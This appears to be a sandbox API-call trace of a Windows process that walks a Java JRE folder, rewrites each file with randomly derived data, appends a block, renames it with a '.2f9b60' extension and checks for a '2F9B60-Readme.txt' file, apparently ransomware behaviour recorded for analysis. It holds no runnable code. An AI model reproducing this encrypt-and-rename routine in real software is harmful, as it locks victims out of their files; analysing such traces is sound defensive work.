1 [0152.442] wcscmp (_String1="unpack200.exe", _String2="..") returned 1 [0152.442] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x9ba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="verify.dll", cAlternateFileName="")) returned 1 [0152.442] wcscmp (_String1="verify.dll", _String2=".") returned 1 [0152.442] wcscmp (_String1="verify.dll", _String2="..") returned 1 [0152.442] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x53a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="w2k_lsa_auth.dll", cAlternateFileName="W2K_LS~1.DLL")) returned 1 [0152.442] wcscmp (_String1="w2k_lsa_auth.dll", _String2=".") returned 1 [0152.442] wcscmp (_String1="w2k_lsa_auth.dll", _String2="..") returned 1 [0152.442] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x177a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsAccessBridge-32.dll", cAlternateFileName="WINDOW~1.DLL")) returned 1 [0152.442] wcscmp (_String1="WindowsAccessBridge-32.dll", _String2=".") returned 1 [0152.442] wcscmp (_String1="WindowsAccessBridge-32.dll", _String2="..") returned 1 [0152.442] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x28fa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="wsdetect.dll", cAlternateFileName="")) returned 1 [0152.442] wcscmp (_String1="wsdetect.dll", _String2=".") returned 1 [0152.443] wcscmp (_String1="wsdetect.dll", _String2="..") returned 1 [0152.443] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x105a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="zip.dll", cAlternateFileName="")) returned 1 [0152.443] wcscmp (_String1="zip.dll", _String2=".") returned 1 [0152.443] wcscmp (_String1="zip.dll", _String2="..") returned 1 [0152.443] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x105a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="zip.dll", cAlternateFileName="")) returned 0 [0152.443] FindClose (in: hFindFile=0x1cd86c10 | out: hFindFile=0x1cd86c10) returned 1 [0152.444] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd611c0) returned 1 [0152.444] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b858f70) returned 1 [0152.444] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859390) returned 1 Thread: id = 957 os_tid = 0x159c [0101.286] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\COPYRIGHT" (normalized: "c:\\program files (x86)\\java\\jre7\\copyright")) returned 0x20 [0101.287] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\COPYRIGHT", dwFileAttributes=0x20) returned 1 [0101.287] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\COPYRIGHT" (normalized: "c:\\program files (x86)\\java\\jre7\\copyright"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1694 [0101.287] GetFileSizeEx (in: hFile=0x1694, lpFileSize=0x3005fa00 | out: lpFileSize=0x3005fa00*=3409) returned 1 [0101.287] SetFilePointerEx (in: hFile=0x1694, liDistanceToMove=0xd4d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.287] ReadFile (in: hFile=0x1694, lpBuffer=0x3005f980, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3005f9c8, lpOverlapped=0x0 | out: lpBuffer=0x3005f980*, lpNumberOfBytesRead=0x3005f9c8*=0x4, lpOverlapped=0x0) returned 1 [0101.614] SetFilePointerEx (in: hFile=0x1694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.614] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260140 [0101.614] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260170 [0101.614] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202601d0 [0101.614] NtQuerySystemTime (in: CurrentTime=0x3005f8c0 | out: CurrentTime=0x3005f8c0*=132462177071326000) returned 0x0 [0101.614] RtlRandomEx (in: Seed=0x3005f8b0 | out: Seed=0x3005f8b0) returned 0xe98ddcc [0101.614] RtlRandomEx (in: Seed=0x3005f8b0 | out: Seed=0x3005f8b0) returned 0x36b4ce9d [0101.614] RtlRandomEx (in: Seed=0x3005f8b0 | out: Seed=0x3005f8b0) returned 0x17132344 [0101.614] RtlRandomEx (in: Seed=0x3005f8b0 | out: Seed=0x3005f8b0) returned 0xdb2542 [0101.614] RtlRandomEx (in: Seed=0x3005f8b0 | out: Seed=0x3005f8b0) returned 0x2540c5f6 [0101.614] RtlRandomEx (in: Seed=0x3005f8b0 | out: Seed=0x3005f8b0) returned 0x415aa1cf [0101.614] RtlRandomEx (in: Seed=0x3005f8b0 | out: Seed=0x3005f8b0) returned 0x1009dd42 [0101.614] RtlRandomEx (in: Seed=0x3005f8b0 | out: Seed=0x3005f8b0) returned 0x58d04c54 [0101.614] RtlRandomEx (in: Seed=0x3005f8b0 | out: Seed=0x3005f8b0) returned 0x18c3d685 [0101.614] RtlRandomEx (in: Seed=0x3005f8b0 | out: Seed=0x3005f8b0) returned 0x44f21b20 [0101.614] RtlRandomEx (in: Seed=0x3005f8b0 | out: Seed=0x3005f8b0) returned 0x6ecafcbf [0101.614] RtlRandomEx (in: Seed=0x3005f8b0 | out: Seed=0x3005f8b0) returned 0x2a530f63 [0101.614] RtlRandomEx (in: Seed=0x3005f8b0 | out: Seed=0x3005f8b0) returned 0x2134463e [0101.614] RtlRandomEx (in: Seed=0x3005f8b0 | out: Seed=0x3005f8b0) returned 0x1cfd7b6b [0101.614] RtlRandomEx (in: Seed=0x3005f8b0 | out: Seed=0x3005f8b0) returned 0x173bc7f9 [0101.614] RtlRandomEx (in: Seed=0x3005f8b0 | out: Seed=0x3005f8b0) returned 0x19305183 [0101.615] RtlRandomEx (in: Seed=0x3005f8b0 | out: Seed=0x3005f8b0) returned 0x7cadbc81 [0101.615] RtlRandomEx (in: Seed=0x3005f8b0 | out: Seed=0x3005f8b0) returned 0x7792dabe [0101.615] RtlRandomEx (in: Seed=0x3005f8b0 | out: Seed=0x3005f8b0) returned 0x564a8990 [0101.615] RtlRandomEx (in: Seed=0x3005f8b0 | out: Seed=0x3005f8b0) returned 0x6f7e9c48 [0101.615] RtlRandomEx (in: Seed=0x3005f8b0 | out: Seed=0x3005f8b0) returned 0x341f668e [0101.615] RtlRandomEx (in: Seed=0x3005f8b0 | out: Seed=0x3005f8b0) returned 0xd37e191 [0101.615] RtlRandomEx (in: Seed=0x3005f8b0 | out: Seed=0x3005f8b0) returned 0xe20687b [0101.615] RtlRandomEx (in: Seed=0x3005f8b0 | out: Seed=0x3005f8b0) returned 0x1fd3f2df [0101.615] RtlRandomEx (in: Seed=0x3005f8b0 | out: Seed=0x3005f8b0) returned 0xe63960b [0101.615] RtlRandomEx (in: Seed=0x3005f8b0 | out: Seed=0x3005f8b0) returned 0x5290adbb [0101.615] RtlRandomEx (in: Seed=0x3005f8b0 | out: Seed=0x3005f8b0) returned 0x1b3f796 [0101.615] RtlRandomEx (in: Seed=0x3005f8b0 | out: Seed=0x3005f8b0) returned 0x21752b65 [0101.615] RtlRandomEx (in: Seed=0x3005f8b0 | out: Seed=0x3005f8b0) returned 0x42059f1d [0101.615] RtlRandomEx (in: Seed=0x3005f8b0 | out: Seed=0x3005f8b0) returned 0x1a913f28 [0101.615] RtlRandomEx (in: Seed=0x3005f8b0 | out: Seed=0x3005f8b0) returned 0x6da78f21 [0101.615] RtlRandomEx (in: Seed=0x3005f8b0 | out: Seed=0x3005f8b0) returned 0x163498ad [0101.658] ReadFile (in: hFile=0x1694, lpBuffer=0x2044a6d0, nNumberOfBytesToRead=0xd51, lpNumberOfBytesRead=0x3005f8b0, lpOverlapped=0x0 | out: lpBuffer=0x2044a6d0*, lpNumberOfBytesRead=0x3005f8b0*=0xd51, lpOverlapped=0x0) returned 1 [0101.658] SetFilePointerEx (in: hFile=0x1694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.658] WriteFile (in: hFile=0x1694, lpBuffer=0x2044e2e0*, nNumberOfBytesToWrite=0xd51, lpNumberOfBytesWritten=0x3005f8b4, lpOverlapped=0x0 | out: lpBuffer=0x2044e2e0*, lpNumberOfBytesWritten=0x3005f8b4*=0xd51, lpOverlapped=0x0) returned 1 [0101.978] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260d10 [0101.978] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260d40 [0101.978] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260d40) returned 1 [0101.978] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2044e2e0) returned 1 [0101.978] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2044a6d0) returned 1 [0101.978] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869ec0) returned 1 [0101.978] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bcc0) returned 1 [0101.979] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260d40 [0101.979] SetFilePointerEx (in: hFile=0x1694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0101.979] WriteFile (in: hFile=0x1694, lpBuffer=0x169910*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x3005f9d0, lpOverlapped=0x0 | out: lpBuffer=0x169910*, lpNumberOfBytesWritten=0x3005f9d0*=0x104, lpOverlapped=0x0) returned 1 [0102.358] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0102.359] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869740 [0102.359] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262b70 [0102.359] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262b70) returned 1 [0102.359] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b82d000 [0102.359] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262b70 [0102.359] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262b40 [0102.359] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262b40) returned 1 [0102.359] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869740) returned 1 [0102.359] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0102.359] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x25) returned 0x20262b40 [0102.359] sprintf (in: _Dest=0x20262b40, _Format="%c%c" | out: _Dest="bb") returned 2 [0102.359] sprintf (in: _Dest=0x20262b42, _Format="%c%c" | out: _Dest="fc") returned 2 [0102.359] sprintf (in: _Dest=0x20262b44, _Format="%c%c" | out: _Dest="e0") returned 2 [0102.359] sprintf (in: _Dest=0x20262b46, _Format="%c%c" | out: _Dest="84") returned 2 [0102.359] sprintf (in: _Dest=0x20262b48, _Format="%c%c" | out: _Dest="82") returned 2 [0102.360] sprintf (in: _Dest=0x20262b4a, _Format="%c%c" | out: _Dest="af") returned 2 [0102.360] sprintf (in: _Dest=0x20262b4c, _Format="%c%c" | out: _Dest="9e") returned 2 [0102.360] sprintf (in: _Dest=0x20262b4e, _Format="%c%c" | out: _Dest="cc") returned 2 [0102.360] sprintf (in: _Dest=0x20262b50, _Format="%c%c" | out: _Dest="2c") returned 2 [0102.360] sprintf (in: _Dest=0x20262b52, _Format="%c%c" | out: _Dest="0e") returned 2 [0102.360] sprintf (in: _Dest=0x20262b54, _Format="%c%c" | out: _Dest="06") returned 2 [0102.360] sprintf (in: _Dest=0x20262b56, _Format="%c%c" | out: _Dest="6a") returned 2 [0102.360] sprintf (in: _Dest=0x20262b58, _Format="%c%c" | out: _Dest="f5") returned 2 [0102.360] sprintf (in: _Dest=0x20262b5a, _Format="%c%c" | out: _Dest="e1") returned 2 [0102.360] sprintf (in: _Dest=0x20262b5c, _Format="%c%c" | out: _Dest="39") returned 2 [0102.360] sprintf (in: _Dest=0x20262b5e, _Format="%c%c" | out: _Dest="c8") returned 2 [0102.360] sprintf (in: _Dest=0x20262b60, _Format="%c%c" | out: _Dest="71") returned 2 [0102.360] sprintf (in: _Dest=0x20262b62, _Format="%c%c" | out: _Dest="e3") returned 2 [0102.360] RtlInitAnsiString (in: DestinationString=0x3005fa48, SourceString="bbfce08482af9ecc2c0e066af5e139c871e3" | out: DestinationString="bbfce08482af9ecc2c0e066af5e139c871e3") [0102.360] RtlAnsiStringToUnicodeString (in: DestinationString=0x3005fa18, SourceString="bbfce08482af9ecc2c0e066af5e139c871e3", AllocateDestinationString=1 | out: DestinationString="bbfce08482af9ecc2c0e066af5e139c871e3") returned 0x0 [0102.360] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1cd9c1f0 [0102.360] wcscat (in: _Dest=0x1b863b20, _Source="bbfce0848" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\bbfce0848") returned="C:\\Program Files (x86)\\Java\\jre7\\bbfce0848" [0102.360] wcscat (in: _Dest=0x1b863b20, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\bbfce0848.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\bbfce0848.2f9b60" [0102.360] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\bbfce0848.2f9b60", NtPathName=0x3005f9f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\bbfce0848.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0102.361] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x1cf4d530 [0104.961] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4d530) returned 1 [0104.962] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060dd0) returned 1 [0104.962] NtQueryInformationFile (in: FileHandle=0x1694, IoStatusBlock=0x3005fa58, FileInformation=0x3005fa68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3005fa58, FileInformation=0x3005fa68) returned 0x0 [0104.962] NtSetInformationFile (FileHandle=0x1694, IoStatusBlock=0x3005fa58, FileInformation=0x3005fa68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0105.318] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b863b20) returned 1 [0105.318] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9c1f0) returned 1 [0105.318] FlushFileBuffers (hFile=0x1694) returned 1 [0105.320] CloseHandle (hObject=0x1694) returned 1 [0105.360] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x68) returned 0x1b8639d0 [0105.361] wcscpy (in: _Dest=0x1b8639d0, _Source="C:\\Program Files (x86)\\Java\\jre7\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\") returned="C:\\Program Files (x86)\\Java\\jre7\\" [0105.361] wcscat (in: _Dest=0x1b8639d0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\2F9B60-Readme.txt" [0105.361] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\2f9b60-readme.txt")) returned 0x20 [0105.361] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8639d0) returned 1 [0105.361] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b858550) returned 1 Thread: id = 958 os_tid = 0x15a0 [0101.290] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4e) returned 0x1b858af0 [0101.291] wcscpy (in: _Dest=0x1b858af0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib") returned="C:\\Program Files (x86)\\Java\\jre7\\lib" [0101.291] wcscat (in: _Dest=0x1b858af0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\" [0101.291] wcscat (in: _Dest=0x1b858af0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\*") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\*" [0101.291] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd63650 [0101.291] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\*", lpFindFileData=0x1cd63650 | out: lpFindFileData=0x1cd63650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7572f9a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7572f9a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c130 [0103.519] wcscmp (_String1=".", _String2=".") returned 0 [0103.519] FindNextFileW (in: hFindFile=0x1cd9c130, lpFindFileData=0x1cd63650 | out: lpFindFileData=0x1cd63650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7572f9a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7572f9a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.586] wcscmp (_String1="..", _String2=".") returned 1 [0103.586] wcscmp (_String1="..", _String2="..") returned 0 [0103.586] FindNextFileW (in: hFindFile=0x1cd9c130, lpFindFileData=0x1cd63650 | out: lpFindFileData=0x1cd63650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x9b, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.properties", cAlternateFileName="ACCESS~1.PRO")) returned 1 [0103.587] wcscmp (_String1="accessibility.properties", _String2=".") returned 1 [0103.587] wcscmp (_String1="accessibility.properties", _String2="..") returned 1 [0103.587] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x20509e70 [0103.587] wcscpy (in: _Dest=0x20509e70, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib") returned="C:\\Program Files (x86)\\Java\\jre7\\lib" [0103.587] wcscat (in: _Dest=0x20509e70, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\" [0103.587] wcscat (in: _Dest=0x20509e70, _Source="accessibility.properties" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\accessibility.properties") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\accessibility.properties" [0127.511] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20509e70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1678 [0127.512] FindNextFileW (in: hFindFile=0x1cd9c130, lpFindFileData=0x1cd63650 | out: lpFindFileData=0x1cd63650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2a2dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="alt-rt.jar", cAlternateFileName="")) returned 1 [0127.512] wcscmp (_String1="alt-rt.jar", _String2=".") returned 1 [0127.512] wcscmp (_String1="alt-rt.jar", _String2="..") returned 1 [0127.512] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b8648b0 [0127.512] wcscpy (in: _Dest=0x1b8648b0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib") returned="C:\\Program Files (x86)\\Java\\jre7\\lib" [0127.513] wcscat (in: _Dest=0x1b8648b0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\" [0127.513] wcscat (in: _Dest=0x1b8648b0, _Source="alt-rt.jar" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\alt-rt.jar") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\alt-rt.jar" [0127.513] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b8648b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x604 [0127.514] FindNextFileW (in: hFindFile=0x1cd9c130, lpFindFileData=0x1cd63650 | out: lpFindFileData=0x1cd63650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="applet", cAlternateFileName="")) returned 1 [0127.514] wcscmp (_String1="applet", _String2=".") returned 1 [0127.514] wcscmp (_String1="applet", _String2="..") returned 1 [0127.514] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x58) returned 0x1cd9ce50 [0127.514] wcscpy (in: _Dest=0x1cd9ce50, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib") returned="C:\\Program Files (x86)\\Java\\jre7\\lib" [0127.514] wcscat (in: _Dest=0x1cd9ce50, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\" [0127.514] wcscat (in: _Dest=0x1cd9ce50, _Source="applet" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\applet") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\applet" [0127.514] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1cd9ce50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x84c [0127.515] FindNextFileW (in: hFindFile=0x1cd9c130, lpFindFileData=0x1cd63650 | out: lpFindFileData=0x1cd63650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendars.properties", cAlternateFileName="CALEND~1.PRO")) returned 1 [0127.515] wcscmp (_String1="calendars.properties", _String2=".") returned 1 [0127.515] wcscmp (_String1="calendars.properties", _String2="..") returned 1 [0127.515] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b867dc0 [0127.515] wcscpy (in: _Dest=0x1b867dc0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib") returned="C:\\Program Files (x86)\\Java\\jre7\\lib" [0127.515] wcscat (in: _Dest=0x1b867dc0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\" [0127.516] wcscat (in: _Dest=0x1b867dc0, _Source="calendars.properties" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\calendars.properties") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\calendars.properties" [0127.516] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b867dc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x858 [0127.516] FindNextFileW (in: hFindFile=0x1cd9c130, lpFindFileData=0x1cd63650 | out: lpFindFileData=0x1cd63650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x751d4820, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x751d4820, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x75220ae0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x364427, dwReserved0=0x0, dwReserved1=0x0, cFileName="charsets.jar", cAlternateFileName="")) returned 1 [0127.516] wcscmp (_String1="charsets.jar", _String2=".") returned 1 [0127.516] wcscmp (_String1="charsets.jar", _String2="..") returned 1 [0127.516] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x64) returned 0x1b864610 